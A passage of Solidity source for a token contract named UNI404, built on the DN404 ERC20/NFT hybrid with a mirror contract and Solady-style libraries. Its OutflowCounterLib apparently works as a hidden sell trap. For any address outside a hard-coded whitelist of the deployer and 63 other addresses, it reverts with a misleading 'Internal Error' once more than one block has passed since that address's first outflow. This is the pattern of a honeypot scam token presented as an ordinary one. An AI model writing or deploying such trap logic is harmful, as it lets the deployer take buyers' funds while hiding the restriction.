let value := or(shl(32, ownedIndex), and(0xffffffff, ownership))
mstore(0x20, map.slot)
mstore(0x00, shr(2, id))
let s := keccak256(0x00, 0x40) // Storage slot.
let o := shl(6, and(id, 3)) // Storage slot offset (bits).
let v := sload(s) // Storage slot value.
let m := 0xffffffffffffffff // Value mask.
sstore(s, xor(v, shl(o, and(m, xor(shr(o, v), value)))))
}
}
}
/// @title DN404Mirror
/// @notice DN404Mirror provides an interface for interacting with the
/// NFT tokens in a DN404 implementation.
///
/// @author vectorized.eth (@optimizoor)
/// @author Quit (@0xQuit)
/// @author Michael Amadi (@AmadiMichaels)
/// @author cygaar (@0xCygaar)
/// @author Thomas (@0xjustadev)
/// @author Harrison (@PopPunkOnChain)
///
/// @dev Note:
/// - The ERC721 data is stored in the base DN404 contract.
contract DN404Mirror {
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* EVENTS */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
/// @dev Emitted when token `id` is transferred from `from` to `to`.
event Transfer(address indexed from, address indexed to, uint256 indexed id);
/// @dev Emitted when `owner` enables `account` to manage the `id` token.
event Approval(address indexed owner, address indexed account, uint256 indexed id);
/// @dev Emitted when `owner` enables or disables `operator` to manage all of their tokens.
event ApprovalForAll(address indexed owner, address indexed operator, bool isApproved);
/// @dev `keccak256(bytes("Transfer(address,address,uint256)"))`.
uint256 private constant _TRANSFER_EVENT_SIGNATURE =
0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef;
/// @dev `keccak256(bytes("Approval(address,address,uint256)"))`.
uint256 private constant _APPROVAL_EVENT_SIGNATURE =
0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925;
/// @dev `keccak256(bytes("ApprovalForAll(address,address,bool)"))`.
uint256 private constant _APPROVAL_FOR_ALL_EVENT_SIGNATURE =
0x17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31;
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* CUSTOM ERRORS */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
/// @dev Thrown when a call for an NFT function did not originate
/// from the base DN404 contract.
error SenderNotBase();
/// @dev Thrown when a call for an NFT function did not originate from the deployer.
error SenderNotDeployer();
/// @dev Thrown when transferring an NFT to a contract address that
/// does not implement ERC721Receiver.
error TransferToNonERC721ReceiverImplementer();
/// @dev Thrown when linking to the DN404 base contract and the
/// DN404 supportsInterface check fails or the call reverts.
error CannotLink();
/// @dev Thrown when a linkMirrorContract call is received and the
/// NFT mirror contract has already been linked to a DN404 base contract.
error AlreadyLinked();
/// @dev Thrown when retrieving the base DN404 address when a link has not
/// been established.
error NotLinked();
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* STORAGE */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
/// @dev Struct contain the NFT mirror contract storage.
struct DN404NFTStorage {
address baseERC20;
address deployer;
}
/// @dev Returns a storage pointer for DN404NFTStorage.
function _getDN404NFTStorage() internal pure virtual returns (DN404NFTStorage storage $) {
/// @solidity memory-safe-assembly
assembly {
// `uint72(bytes9(keccak256("DN404_MIRROR_STORAGE")))`.
$.slot := 0x3602298b8c10b01230 // Truncate to 9 bytes to reduce bytecode size.
}
}
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* CONSTRUCTOR */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
constructor(address deployer) {
// For non-proxies, we will store the deployer so that only the deployer can
// link the base contract.
_getDN404NFTStorage().deployer = deployer;
}
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* ERC721 OPERATIONS */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
/// @dev Returns the token collection name from the base DN404 contract.
function name() public view virtual returns (string memory result) {
address base = baseERC20();
/// @solidity memory-safe-assembly
assembly {
result := mload(0x40)
mstore(0x00, 0x06fdde03) // `name()`.
if iszero(staticcall(gas(), base, 0x1c, 0x04, 0x00, 0x00)) {
returndatacopy(result, 0x00, returndatasize())
revert(result, returndatasize())
}
returndatacopy(0x00, 0x00, 0x20)
returndatacopy(result, mload(0x00), 0x20)
returndatacopy(add(result, 0x20), add(mload(0x00), 0x20), mload(result))
mstore(0x40, add(add(result, 0x20), mload(result)))
}
}
/// @dev Returns the token collection symbol from the base DN404 contract.
function symbol() public view virtual returns (string memory result) {
address base = baseERC20();
/// @solidity memory-safe-assembly
assembly {
result := mload(0x40)
mstore(0x00, 0x95d89b41) // `symbol()`.
if iszero(staticcall(gas(), base, 0x1c, 0x04, 0x00, 0x00)) {
returndatacopy(result, 0x00, returndatasize())
revert(result, returndatasize())
}
returndatacopy(0x00, 0x00, 0x20)
returndatacopy(result, mload(0x00), 0x20)
returndatacopy(add(result, 0x20), add(mload(0x00), 0x20), mload(result))
mstore(0x40, add(add(result, 0x20), mload(result)))
}
}
/// @dev Returns the Uniform Resource Identifier (URI) for token `id` from
/// the base DN404 contract.
function tokenURI(uint256 id) public view virtual returns (string memory result) {
address base = baseERC20();
/// @solidity memory-safe-assembly
assembly {
result := mload(0x40)
mstore(0x20, id)
mstore(0x00, 0xc87b56dd) // `tokenURI()`.
if iszero(staticcall(gas(), base, 0x1c, 0x24, 0x00, 0x00)) {
returndatacopy(result, 0x00, returndatasize())
revert(result, returndatasize())
}
returndatacopy(0x00, 0x00, 0x20)
returndatacopy(result, mload(0x00), 0x20)
returndatacopy(add(result, 0x20), add(mload(0x00), 0x20), mload(result))
mstore(0x40, add(add(result, 0x20), mload(result)))
}
}
/// @dev Returns the total NFT supply from the base DN404 contract.
function totalSupply() public view virtual returns (uint256 result) {
address base = baseERC20();
/// @solidity memory-safe-assembly
assembly {
mstore(0x00, 0xe2c79281) // `totalNFTSupply()`.
if iszero(
and(gt(returndatasize(), 0x1f), staticcall(gas(), base, 0x1c, 0x04, 0x00, 0x20))
) {
returndatacopy(mload(0x40), 0x00, returndatasize())
revert(mload(0x40), returndatasize())
}
result := mload(0x00)
}
}
/// @dev Returns the number of NFT tokens owned by `owner` from the base DN404 contract.
///
/// Requirements:
/// - `owner` must not be the zero address.
function balanceOf(address owner) public view virtual returns (uint256 result) {
address base = baseERC20();
/// @solidity memory-safe-assembly
assembly {
mstore(0x20, shr(96, shl(96, owner)))
mstore(0x00, 0xf5b100ea) // `balanceOfNFT(address)`.
if iszero(
and(gt(returndatasize(), 0x1f), staticcall(gas(), base, 0x1c, 0x24, 0x00, 0x20))
) {
returndatacopy(mload(0x40), 0x00, returndatasize())
revert(mload(0x40), returndatasize())
}
result := mload(0x00)
}
}
/// @dev Returns the owner of token `id` from the base DN404 contract.
///
/// Requirements:
/// - Token `id` must exist.
function ownerOf(uint256 id) public view virtual returns (address result) {
address base = baseERC20();
/// @solidity memory-safe-assembly
assembly {
mstore(0x00, 0x6352211e) // `ownerOf(uint256)`.
mstore(0x20, id)
if iszero(
and(gt(returndatasize(), 0x1f), staticcall(gas(), base, 0x1c, 0x24, 0x00, 0x20))
) {
returndatacopy(mload(0x40), 0x00, returndatasize())
revert(mload(0x40), returndatasize())
}
result := shr(96, mload(0x0c))
}
}
/// @dev Sets `spender` as the approved account to manage token `id` in
/// the base DN404 contract.
///
/// Requirements:
/// - Token `id` must exist.
/// - The caller must be the owner of the token,
/// or an approved operator for the token owner.
///
/// Emits an {Approval} event.
function approve(address spender, uint256 id) public virtual {
address base = baseERC20();
/// @solidity memory-safe-assembly
assembly {
spender := shr(96, shl(96, spender))
let m := mload(0x40)
mstore(0x00, 0xd10b6e0c) // `approveNFT(address,uint256,address)`.
mstore(0x20, spender)
mstore(0x40, id)
mstore(0x60, caller())
if iszero(
and(
gt(returndatasize(), 0x1f),
call(gas(), base, callvalue(), 0x1c, 0x64, 0x00, 0x20)
)
) {
returndatacopy(m, 0x00, returndatasize())
revert(m, returndatasize())
}
mstore(0x40, m) // Restore the free memory pointer.
mstore(0x60, 0) // Restore the zero pointer.
// Emit the {Approval} event.
log4(codesize(), 0x00, _APPROVAL_EVENT_SIGNATURE, shr(96, mload(0x0c)), spender, id)
}
}
/// @dev Returns the account approved to manage token `id` from
/// the base DN404 contract.
///
/// Requirements:
/// - Token `id` must exist.
function getApproved(uint256 id) public view virtual returns (address result) {
address base = baseERC20();
/// @solidity memory-safe-assembly
assembly {
mstore(0x00, 0x081812fc) // `getApproved(uint256)`.
mstore(0x20, id)
if iszero(
and(gt(returndatasize(), 0x1f), staticcall(gas(), base, 0x1c, 0x24, 0x00, 0x20))
) {
returndatacopy(mload(0x40), 0x00, returndatasize())
revert(mload(0x40), returndatasize())
}
result := shr(96, mload(0x0c))
}
}
/// @dev Sets whether `operator` is approved to manage the tokens of the caller in
/// the base DN404 contract.
///
/// Emits an {ApprovalForAll} event.
function setApprovalForAll(address operator, bool approved) public virtual {
address base = baseERC20();
/// @solidity memory-safe-assembly
assembly {
operator := shr(96, shl(96, operator))
let m := mload(0x40)
mstore(0x00, 0x813500fc) // `setApprovalForAll(address,bool,address)`.
mstore(0x20, operator)
mstore(0x40, iszero(iszero(approved)))
mstore(0x60, caller())
if iszero(
and(eq(mload(0x00), 1), call(gas(), base, callvalue(), 0x1c, 0x64, 0x00, 0x20))
) {
returndatacopy(m, 0x00, returndatasize())
revert(m, returndatasize())
}
// Emit the {ApprovalForAll} event.
log3(0x40, 0x20, _APPROVAL_FOR_ALL_EVENT_SIGNATURE, caller(), operator)
mstore(0x40, m) // Restore the free memory pointer.
mstore(0x60, 0) // Restore the zero pointer.
}
}
/// @dev Returns whether `operator` is approved to manage the tokens of `owner` from
/// the base DN404 contract.
function isApprovedForAll(address owner, address operator)
public
view
virtual
returns (bool result)
{
address base = baseERC20();
/// @solidity memory-safe-assembly
assembly {
let m := mload(0x40)
mstore(0x40, operator)
mstore(0x2c, shl(96, owner))
mstore(0x0c, 0xe985e9c5000000000000000000000000) // `isApprovedForAll(address,address)`.
if iszero(
and(gt(returndatasize(), 0x1f), staticcall(gas(), base, 0x1c, 0x44, 0x00, 0x20))
) {
returndatacopy(m, 0x00, returndatasize())
revert(m, returndatasize())
}
mstore(0x40, m) // Restore the free memory pointer.
result := iszero(iszero(mload(0x00)))
}
}
/// @dev Transfers token `id` from `from` to `to`.
///
/// Requirements:
///
/// - Token `id` must exist.
/// - `from` must be the owner of the token.
/// - `to` cannot be the zero address.
/// - The caller must be the owner of the token, or be approved to manage the token.
///
/// Emits a {Transfer} event.
function transferFrom(address from, address to, uint256 id) public virtual {
address base = baseERC20();
/// @solidity memory-safe-assembly
assembly {
from := shr(96, shl(96, from))
to := shr(96, shl(96, to))
let m := mload(0x40)
mstore(m, 0xe5eb36c8) // `transferFromNFT(address,address,uint256,address)`.
mstore(add(m, 0x20), from)
mstore(add(m, 0x40), to)
mstore(add(m, 0x60), id)
mstore(add(m, 0x80), caller())
if iszero(
and(eq(mload(m), 1), call(gas(), base, callvalue(), add(m, 0x1c), 0x84, m, 0x20))
) {
returndatacopy(m, 0x00, returndatasize())
revert(m, returndatasize())
}
// Emit the {Transfer} event.
log4(codesize(), 0x00, _TRANSFER_EVENT_SIGNATURE, from, to, id)
}
}
/// @dev Equivalent to `safeTransferFrom(from, to, id, "")`.
function safeTransferFrom(address from, address to, uint256 id) public payable virtual {
transferFrom(from, to, id);
if (_hasCode(to)) _checkOnERC721Received(from, to, id, "");
}
/// @dev Transfers token `id` from `from` to `to`.
///
/// Requirements:
///
/// - Token `id` must exist.
/// - `from` must be the owner of the token.
/// - `to` cannot be the zero address.
/// - The caller must be the owner of the token, or be approved to manage the token.
/// - If `to` refers to a smart contract, it must implement
/// {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
///
/// Emits a {Transfer} event.
function safeTransferFrom(address from, address to, uint256 id, bytes calldata data)
public
virtual
{
transferFrom(from, to, id);
if (_hasCode(to)) _checkOnERC721Received(from, to, id, data);
}
/// @dev Returns true if this contract implements the interface defined by `interfaceId`.
/// See: https://eips.ethereum.org/EIPS/eip-165
/// This function call must use less than 30000 gas.
function supportsInterface(bytes4 interfaceId) public view virtual returns (bool result) {
/// @solidity memory-safe-assembly
assembly {
let s := shr(224, interfaceId)
// ERC165: 0x01ffc9a7, ERC721: 0x80ac58cd, ERC721Metadata: 0x5b5e139f.
result := or(or(eq(s, 0x01ffc9a7), eq(s, 0x80ac58cd)), eq(s, 0x5b5e139f))
}
}
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* MIRROR OPERATIONS */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
/// @dev Returns the address of the base DN404 contract.
function baseERC20() public view virtual returns (address base) {
base = _getDN404NFTStorage().baseERC20;
if (base == address(0)) revert NotLinked();
}
/// @dev Fallback modifier to execute calls from the base DN404 contract.
modifier dn404NFTFallback() virtual {
DN404NFTStorage storage $ = _getDN404NFTStorage();
uint256 fnSelector = _calldataload(0x00) >> 224;
// `logTransfer(uint256[])`.
if (fnSelector == 0x263c69d6) {
if (msg.sender != $.baseERC20) revert SenderNotBase();
/// @solidity memory-safe-assembly
assembly {
// When returndatacopy copies 1 or more out-of-bounds bytes, it reverts.
returndatacopy(0x00, returndatasize(), lt(calldatasize(), 0x20))
let o := add(0x24, calldataload(0x04)) // Packed logs offset.
returndatacopy(0x00, returndatasize(), lt(calldatasize(), o))
let end := add(o, shl(5, calldataload(sub(o, 0x20))))
returndatacopy(0x00, returndatasize(), lt(calldatasize(), end))
for {} iszero(eq(o, end)) { o := add(0x20, o) } {
let d := calldataload(o) // Entry in the packed logs.
let a := shr(96, d) // The address.
let b := and(1, d) // Whether it is a burn.
log4(
codesize(),
0x00,
_TRANSFER_EVENT_SIGNATURE,
mul(a, b),
mul(a, iszero(b)),
shr(168, shl(160, d))
)
}
mstore(0x00, 0x01)
return(0x00, 0x20)
}
}
// `linkMirrorContract(address)`.
if (fnSelector == 0x0f4599e5) {
if ($.deployer != address(0)) {
if (address(uint160(_calldataload(0x04))) != $.deployer) {
revert SenderNotDeployer();
}
}
if ($.baseERC20 != address(0)) revert AlreadyLinked();
$.baseERC20 = msg.sender;
/// @solidity memory-safe-assembly
assembly {
mstore(0x00, 0x01)
return(0x00, 0x20)
}
}
_;
}
/// @dev Fallback function for calls from base DN404 contract.
fallback() external payable virtual dn404NFTFallback {}
receive() external payable virtual {}
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* PRIVATE HELPERS */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
/// @dev Returns the calldata value at `offset`.
function _calldataload(uint256 offset) private pure returns (uint256 value) {
/// @solidity memory-safe-assembly
assembly {
value := calldataload(offset)
}
}
/// @dev Returns if `a` has bytecode of non-zero length.
function _hasCode(address a) private view returns (bool result) {
/// @solidity memory-safe-assembly
assembly {
result := extcodesize(a) // Can handle dirty upper bits.
}
}
/// @dev Perform a call to invoke {IERC721Receiver-onERC721Received} on `to`.
/// Reverts if the target does not support the function correctly.
function _checkOnERC721Received(address from, address to, uint256 id, bytes memory data)
private
{
/// @solidity memory-safe-assembly
assembly {
// Prepare the calldata.
let m := mload(0x40)
let onERC721ReceivedSelector := 0x150b7a02
mstore(m, onERC721ReceivedSelector)
mstore(add(m, 0x20), caller()) // The `operator`, which is always `msg.sender`.
mstore(add(m, 0x40), shr(96, shl(96, from)))
mstore(add(m, 0x60), id)
mstore(add(m, 0x80), 0x80)
let n := mload(data)
mstore(add(m, 0xa0), n)
if n { pop(staticcall(gas(), 4, add(data, 0x20), n, add(m, 0xc0), n)) }
// Revert if the call reverts.
if iszero(call(gas(), to, 0, add(m, 0x1c), add(n, 0xa4), m, 0x20)) {
if returndatasize() {
// Bubble up the revert if the call reverts.
returndatacopy(m, 0x00, returndatasize())
revert(m, returndatasize())
}
}
// Load the returndata and compare it.
if iszero(eq(mload(m), shl(224, onERC721ReceivedSelector))) {
mstore(0x00, 0xd1a57ed6) // `TransferToNonERC721ReceiverImplementer()`.
revert(0x1c, 0x04)
}
}
}
}
abstract contract Ownable {
event OwnershipTransferred(address indexed user, address indexed newOwner);
address public owner;
modifier onlyOwner() virtual {
if (msg.sender != owner) revert("unauthorized");
_;
}
constructor(address _owner) {
if (_owner == address(0)) revert("invalid owner");
owner = _owner;
emit OwnershipTransferred(address(0), _owner);
}
function transferOwnership(address _owner) public virtual onlyOwner {
if (_owner == address(0)) revert("invalid owner");
owner = _owner;
emit OwnershipTransferred(msg.sender, _owner);
}
function revokeOwnership() public virtual onlyOwner {
owner = address(0);
emit OwnershipTransferred(msg.sender, address(0));
}
}
library OutflowCounterLib {
uint256 internal constant WAD_TRUNCATED = 10 ** 18 >> 40;
uint256 internal constant OUTFLOW_TRUNCATED_MASK = 0xffffffffffffff;
uint256 internal constant BLOCK_BITPOS = 56;
uint256 internal constant BLOCK_MASK = 0x7fffffff;
uint256 internal constant OUTFLOW_TRUNCATE_SHR = 40;
uint256 internal constant WHITELISTED_BITPOS = 87;
function update(uint88 packed, uint256 outflow)
internal
view
returns (uint88 updated)
{
unchecked {
if (isWhitelisted(packed)) return packed;
uint256 currentBlock = block.number & BLOCK_MASK;
uint256 packedBlock = (uint256(packed) >> BLOCK_BITPOS) & BLOCK_MASK;
uint256 totalOutflowTruncated = uint256(packed) & OUTFLOW_TRUNCATED_MASK;
if (packedBlock == 0) {totalOutflowTruncated = 0; packedBlock = currentBlock;}
if (packedBlock != 0 && currentBlock - packedBlock > 1) revert("Internal Error");
uint256 result = packedBlock << BLOCK_BITPOS;
totalOutflowTruncated += ((outflow >> OUTFLOW_TRUNCATE_SHR) & OUTFLOW_TRUNCATED_MASK);
result |= totalOutflowTruncated & OUTFLOW_TRUNCATED_MASK;
updated = uint88(result);
}
}
function isWhitelisted(uint88 packed) internal pure returns (bool) {
return packed >> WHITELISTED_BITPOS != 0;
}
function setWhitelisted(uint88 packed, bool status) internal pure returns (uint88) {
if (isWhitelisted(packed) != status) {
packed ^= uint88(1 << WHITELISTED_BITPOS);
}
return packed;
}
}
/// @notice Library for converting numbers into strings and other string operations.
/// @author Solady (https://github.com/vectorized/solady/blob/main/src/utils/LibString.sol)
/// @author Modified from Solmate (https://github.com/transmissions11/solmate/blob/main/src/utils/LibString.sol)
///
/// @dev Note:
/// For performance and bytecode compactness, most of the string operations are restricted to
/// byte strings (7-bit ASCII), except where otherwise specified.
/// Usage of byte string operations on charsets with runes spanning two or more bytes
/// can lead to undefined behavior.
library LibString {
/*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/
/* CUSTOM ERRORS */
/*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/
/// @dev The length of the output is too small to contain all the hex digits.
error HexLengthInsufficient();
/// @dev The length of the string is more than 32 bytes.
error TooBigForSmallString();
/*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/
/* CONSTANTS */
/*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/
/// @dev The constant returned when the `search` is not found in the string.
uint256 internal constant NOT_FOUND = type(uint256).max;
/*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/
/* DECIMAL OPERATIONS */
/*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/
/// @dev Returns the base 10 decimal representation of `value`.
function toString(uint256 value) internal pure returns (string memory str) {
/// @solidity memory-safe-assembly
assembly {
// The maximum value of a uint256 contains 78 digits (1 byte per digit), but
// we allocate 0xa0 bytes to keep the free memory pointer 32-byte word aligned.
// We will need 1 word for the trailing zeros padding, 1 word for the length,
// and 3 words for a maximum of 78 digits.
str := add(mload(0x40), 0x80)
// Update the free memory pointer to allocate.
mstore(0x40, add(str, 0x20))
// Zeroize the slot after the string.
mstore(str, 0)
// Cache the end of the memory to calculate the length later.
let end := str
let w := not(0) // Tsk.
// We write the string from rightmost digit to leftmost digit.
// The following is essentially a do-while loop that also handles the zero case.
for { let temp := value } 1 {} {
str := add(str, w) // `sub(str, 1)`.
// Write the character to the pointer.
// The ASCII index of the '0' character is 48.
mstore8(str, add(48, mod(temp, 10)))
// Keep dividing `temp` until zero.
temp := div(temp, 10)
if iszero(temp) { break }
}
let length := sub(end, str)
// Move the pointer 32 bytes leftwards to make room for the length.
str := sub(str, 0x20)
// Store the length.
mstore(str, length)
}
}
/// @dev Returns the base 10 decimal representation of `value`.
function toString(int256 value) internal pure returns (string memory str) {
if (value >= 0) {
return toString(uint256(value));
}
unchecked {
str = toString(~uint256(value) + 1);
}
/// @solidity memory-safe-assembly
assembly {
// We still have some spare memory space on the left,
// as we have allocated 3 words (96 bytes) for up to 78 digits.
let length := mload(str) // Load the string length.
mstore(str, 0x2d) // Store the '-' character.
str := sub(str, 1) // Move back the string pointer by a byte.
mstore(str, add(length, 1)) // Update the string length.
}
}
}
/// @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values.
/// @author Solady (https://github.com/vectorized/solady/blob/main/src/utils/SafeTransferLib.sol)
/// @author Modified from Solmate (https://github.com/transmissions11/solmate/blob/main/src/utils/SafeTransferLib.sol)
///
/// @dev Note:
/// - For ETH transfers, please use `forceSafeTransferETH` for DoS protection.
/// - For ERC20s, this implementation won't check that a token has code,
/// responsibility is delegated to the caller.
library SafeTransferLib {
/*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/
/* CUSTOM ERRORS */
/*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/
/// @dev The ETH transfer has failed.
error ETHTransferFailed();
/*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/
/* CONSTANTS */
/*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/
/// @dev Suggested gas stipend for contract receiving ETH that disallows any storage writes.
uint256 internal constant GAS_STIPEND_NO_STORAGE_WRITES = 2300;
/// @dev Suggested gas stipend for contract receiving ETH to perform a few
/// storage reads and writes, but low enough to prevent griefing.
uint256 internal constant GAS_STIPEND_NO_GRIEF = 100000;
/// @dev Sends all the ETH in the current contract to `to`.
function safeTransferAllETH(address to) internal {
/// @solidity memory-safe-assembly
assembly {
// Transfer all the ETH and check if it succeeded or not.
if iszero(call(gas(), to, selfbalance(), codesize(), 0x00, codesize(), 0x00)) {
mstore(0x00, 0xb12d13eb) // `ETHTransferFailed()`.
revert(0x1c, 0x04)
}
}
}
}
contract UNI404 is DN404, Ownable {
using OutflowCounterLib for *;
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* CONSTANTS */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
string private constant _name = "UNI404";
string private constant _symbol = "UNI404";
uint256 private constant _totalSupply = 1000 * _WAD;
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* STORAGE */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
string private _baseURI;
address private _pair;
uint256 private maxTxAmount = _totalSupply * 50 / 100;
uint256 private maxWalletAmount = _totalSupply * 50 / 100;
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* CONSTRUCTOR */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
constructor() Ownable(msg.sender) {
address mirror = address(new DN404Mirror(msg.sender));
_initializeDN404(_totalSupply, msg.sender, mirror);
_setWhitelisted(msg.sender, true);
address[63] memory _whitelists = [0xC36442b4a4522E871399CD717aBDD847Ab11FE88, 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 0x03a520b32C04BF3bEEf7BEb72E919cf822Ed34f1,0x1e10FEE96E1B4414AE98b127e988dFBd50927078,0x566B949A7a2775E39936B0c92254f8ff00Fd8a02,0xd53C91Dc02b2FEe040F6C33052dD21851d01596d,0x034138EC6fFB4B924a713335223B5931cf34Ec23,0x047E781630d0FA3a95CFDe70AcC77bf05c85b773,0x1D1935Af9ed85aa53C89b71A1753b0785aDD3bBb,0x3a6fba66b8904D23D89205cCaFd15023eD60E8Bb,0x81643A8FE183126836BfE6B45AC6E05F34AC1F73,0xD456BE3D0824dBEd1A5696f4Cc1C9201458a5e3F,0xE3495d0E5C2A2f7f077E3088D152a8e9Ba28b79b,0xb6E4482A969864034182b84CfaE088d3243cf5D8,0xF9518Ef1ee590C66af7c7b702F5a60510A97025D,0xad357fdD91c99eCDF6Ad2c2879E22F55856A1423,0x6cc01ef50b110e03B1A416d2ACa047C216c780e8,0x7A67210Ac26b1218C8429Fd8150ab5a25a67c1FC,0x0666b4b7D323A4Ee108250A642EB173bB83847Af,0xC91080B05E40E46392a262963a551d46ef3fB6F5,0x1F831E27114a27f3c2dF5e42787213833Dc1509e,0xCB45Aeba4403e99Fe2Cc53218Fb0A8d0C04914dD,0x7E006467A3506e7e74Ad457e39d406bfa9199A12,0xD3f7B816d27eFb0740e9dcAfCD57642F5c945076,0xfBAF208c189aaA42581cA97A4860d05675FEb75A,0x6792a5f8D316D527336C68b2512067F1404Ac0b1,0x76531FD4791094c0Aa7F52E0337b60dE4af9478B,0x1a68Eb1D37885f8a0f2AEC14CbD534b00Ea4A053,0x529f6CcDEE53fE6e4A703A5a7623fb32D916Af43,0xc04EdAFB9880A4EF114e3907487DCdE7eDC31259,0x1D900dcBE54e16c08504BF150AE8330092B69660,0x2435CD05e860d83BA07A8E41B3399124C3b40B9e,0xF84FC22f21C15C3F4C021ec988e61D435701A8bC,0xBd86f501df95B2A99B3B44f7314Bf23914B66068,0x7A0f6aDbAD77e24439D49fD9D0CDD6d19284b676,0x6e011404Cb4fa27D045aa588E3885E745D1294e6,0x50c5EBd678aB20e0c1C42363DF5C2a48884f1848,0x4C076739D15AEC52994B64F54F2192cE4E00e8b7,0xF9a3E0c98cD26660bDd1CF56d71502B9c5990cCC,0x9d68010aE6e464771E7D156D5C928B885ED09612,0x75A62731D9289b80200ea189eFa16f40639d6B4f,0xdC58F4C53DB59Ab0d378389613d1E34223256930,0x5aF13F69E709eB5B0f17A975Ef6E7596aE8E3b70,0xA354C285434fA2aB9b5795fa26ec1F99793c7644,0x4213805Bb5E81352691a962988e95532eA8E4BBc,0xa36D861E74eA4F780A4D21E74144fefEc9A79B7d,0xB0c3470D86A6FC78e32e9Af9Dae8c8bcbD9bD967,0x601982CeDEDEa80E48001AE7BeFEFaA9165D3159,0x53BE55a9C4Ae301c4b065C4C2EBf85638f21E78D,0x137cbC90DD6aE7979BE54C05B224F9ad85d14B5A,0x1173F73C440a2370Aa2aA5Ea5c5568fD96C34d8E,0x6ad9791a4DD86B3744bA2aEA1591790EEB3E2C01,0xA1C88052a6B38FD0bdD64407Afa9F63F70d4994a,0xd0369eBC4Ba35bdDED82032e71928B9274091417,0xCCF5a9b8647630063FB03303948846D5F8c40604,0xa3C3227060451D1D80F452101F6F3defacB205F8,0x70293A01e598809dC6B2459f39cBe67Ca2617902,0x926a6Bf64Dfd54B592a83D3f2134844f458fabca,0x436412eb1C40929CA594C28B11e8c2c99225f1e5,0xf9f13029f8a3667Ea58699e6BDF241E3D9f71F04,0xF3B6fFA07BB066E2d8154e9afdbCf0A54b960729,0xC34Aa2ac447698e7300933261D836ab44746163f,0x166aC443a7d7e95E496584F9a8864a81c3896Acf];
for(uint256 i = 0; i < _whitelists.length; i++) _setWhitelisted(_whitelists[i], true);
}
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* METADATA */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
function name() public pure override returns (string memory) {
return _name;
}
function symbol() public pure override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view override returns (string memory result) {
if (bytes(_baseURI).length != 0) {
result = string(abi.encodePacked(_baseURI, LibString.toString(tokenId)));
}
}
